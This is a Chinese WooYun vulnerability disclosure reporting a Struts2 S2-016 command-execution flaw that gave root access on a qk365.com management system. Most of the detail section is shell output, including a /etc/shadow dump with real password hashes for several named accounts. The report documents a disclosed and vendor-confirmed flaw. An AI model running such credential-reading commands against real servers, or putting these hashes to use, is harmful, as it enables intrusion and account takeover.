当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152308

漏洞标题：青客某管理系统root权限可getshell

相关厂商：qk365.com

漏洞作者： missy

提交时间：2015-11-06 13:59

修复时间：2015-12-21 19:16

公开时间：2015-12-21 19:16

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-06： 细节已通知厂商并且等待厂商处理中
2015-11-06： 厂商已经确认，细节仅向厂商公开
2015-11-16： 细节向核心白帽子及相关领域专家公开
2015-11-26： 细节向普通白帽子公开
2015-12-06： 细节向实习白帽子公开
2015-12-21： 细节向公众公开

简要描述：

详细说明：

http://dj.qk365.com/PartyBuilding/welcome.do


s2-016 漏洞


Target: http://dj.qk365.com/PartyBuilding/welcome.do
Whoami: root
WebPath: /opt/wildfly/domain/servers/dj-server/tmp/vfs/temp/temp48d761d73fd8f643/content-fe1b3f95314e906c


<code>> whoami


root

> id


uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

> uname -a


Linux qk-app5 2.6.18-164.el5 #1 SMP Tue Aug 18 15:51:48 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux

> cat /etc/shadow


root:$1$/RIsh.7H$TqSsQ8ZhUJXddVch2FAOW0:16283:0:99999:7:::
bin:*:16002:0:99999:7:::
daemon:*:16002:0:99999:7:::
adm:*:16002:0:99999:7:::
lp:*:16002:0:99999:7:::
sync:*:16002:0:99999:7:::
shutdown:*:16002:0:99999:7:::
halt:*:16002:0:99999:7:::
mail:*:16002:0:99999:7:::
news:*:16002:0:99999:7:::
uucp:*:16002:0:99999:7:::
operator:*:16002:0:99999:7:::
games:*:16002:0:99999:7:::
gopher:*:16002:0:99999:7:::
ftp:*:16002:0:99999:7:::
nobody:*:16002:0:99999:7:::
nscd:!!:16002:0:99999:7:::
vcsa:!!:16002:0:99999:7:::
rpc:!!:16002:0:99999:7:::
mailnull:!!:16002:0:99999:7:::
smmsp:!!:16002:0:99999:7:::
pcap:!!:16002:0:99999:7:::
sshd:!!:16002:0:99999:7:::
rpcuser:!!:16002:0:99999:7:::
nfsnobody:!!:16002:0:99999:7:::
dbus:!!:16002:0:99999:7:::
avahi:!!:16002:0:99999:7:::
haldaemon:!!:16002:0:99999:7:::
avahi-autoipd:!!:16002:0:99999:7:::
distcache:!!:16002:0:99999:7:::
apache:!!:16002:0:99999:7:::
webalizer:!!:16002:0:99999:7:::
squid:!!:16002:0:99999:7:::
mysql:!!:16002:0:99999:7:::
ntp:!!:16002:0:99999:7:::
named:!!:16002:0:99999:7:::
xfs:!!:16002:0:99999:7:::
gdm:!!:16002:0:99999:7:::
sabayon:!!:16002:0:99999:7:::
dovecot:!!:16002:0:99999:7:::
oprofile:!!:16002:0:99999:7:::
qk365_cs5:!!$1$h/SdL5CX$eStk7Si4ms5efWW1t2j6M.:16031:0:99999:7:::
nagios:$1$D.5kdq7c$fuBPiK3Az1K4onoX.ZFb3.:16230:0:99999:7:::
wildfly:$1$eYV4vMB4$QWzROA.kfGz6T8Ru5RWZv/:16215:0:99999:7:::
nginx:!!:16266:0:99999:7:::
w3master:$1$hgneB/7t$X8NikvHKI5QmU0bX/SyuA/:16543:0:99999:7:::
qk_test:$1$nZTblUSM$rFQ.8alRQq8J2nHmUwwAQ.:16433:0:99999:7:::
qk_test365:!!$1$Il7aRCcW$bGFNreb8mKyfxuACvCUYW/:16433:0:99999:7:::
web_master:$1$OGOFhu/S$URq.1728JVZmhCAcJMAKq1:16716:0:99999:7:::</code>

漏洞证明：

修复方案：

补丁升级

版权声明：转载请注明来源 missy@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-11-06 19:14

厂商回复：

非常感谢，已经安排紧急修复

最新状态：

暂无

漏洞评价：

评价